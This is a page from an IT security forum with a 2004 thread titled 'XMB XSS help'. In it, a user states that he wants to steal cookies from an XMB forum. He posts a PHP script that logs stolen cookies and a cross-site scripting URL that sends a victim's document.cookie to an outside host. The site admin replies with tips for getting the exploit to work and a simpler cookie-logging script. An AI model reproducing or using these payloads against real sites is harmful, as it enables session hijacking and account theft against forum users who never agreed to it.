Waraxe IT Security Portal
Login or Register
July 14, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 34
Members: 0
Total: 34
Full disclosure
Missing Critical Security Headers in OpenBlow
SAP NetWeaver S/4HANA - ABAP Code Execution via InternalFunction
Tiki Wiki CMS Groupware <= 28.3 Two Server-Side TemplateInjection Vulnerabilities
KL-001-2025-011: Schneider Electric EcoStruxure IT Data Center Expert Unauthenticated Server-Side Request Forgery
KL-001-2025-010: Schneider Electric EcoStruxure IT Data Center Expert Privilege Escalation
KL-001-2025-009: Schneider Electric EcoStruxure IT Data Center Expert Remote Command Execution
KL-001-2025-008: Schneider Electric EcoStruxure IT Data Center Expert Root Password Discovery
KL-001-2025-007: Schneider Electric EcoStruxure IT Data Center Expert Unauthenticated Remote Code Execution
KL-001-2025-006: Schneider Electric EcoStruxure IT Data Center Expert XML External Entities Injection
eSIM security research (GSMA eUICC compromise and certificatetheft)
Directory Traversal "Site Title" - bluditv3.16.2
XSS via SVG File Uploa - bluditv3.16.2
Stored XSS "Add New Content" Functionality - bluditv3.16.2
Session Fixation - bluditv3.16.2
iOS Activation Flaw Enables Pre-User Device Compromise andIdentity Exposure (iOS 18.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> XMB XSS help
Post new topicReply to topic View previous topic :: View next topic
XMB XSS help
PostPosted: Thu Sep 16, 2004 2:53 am Reply with quote
morrowasted
Regular user
Regular user
Joined: Sep 06, 2004
Posts: 10




Okay, so I want to steal some cookies from an XMB forum. I've written a PHP script:

Code:

<?

$cook = $_GET['var'];
$wow = fopen("log.txt", 'r');
$w00t = fread($wow, filesize("log.txt"));
echo $w00t;
fclose($wow);

$neat = fopen("log.txt", 'w');

$var586 = $w00t . "\n\n" . $cook;
$cool = fwrite($neat, $var586);

fclose($neat);

?>


Which seems to be working fine. The problem I'm having is crafting a workable URL. I tried http://host.com/post.php?action=newthread&fid=2&message="></textarea><script>document.location='http://www.bellaire.org/stuff/cookie.php?var='%20+document.cookie;</script>
but that didn't work, it simply displayed a blank page.

Anyone know how I can do this?

_________________
I'm new to all this, sorry for my dumbness.
View user's profile Send private message AIM Address
PostPosted: Sun Sep 19, 2004 8:39 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




There can be many reasons to exploit failure. Like patched version of
the XMB forum. And "body onload" will not work on all browsers.
So first step is to look at "html source" at the html page, where you
trigger exploit. Look at code near the critical point and see, is there
html code with right syntax or you must modify exploit to be working.

By the way, your code can be more simple:

Code:

$cook = $_GET['var'];
if(!empty($cook))
{
$fh = fopen('log.txt','ab');
fwrite($fh,$cook."\n\n");
fclose($fh);
}
View user's profile Send private message Send e-mail Visit poster's website
XMB XSS help
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.059 Seconds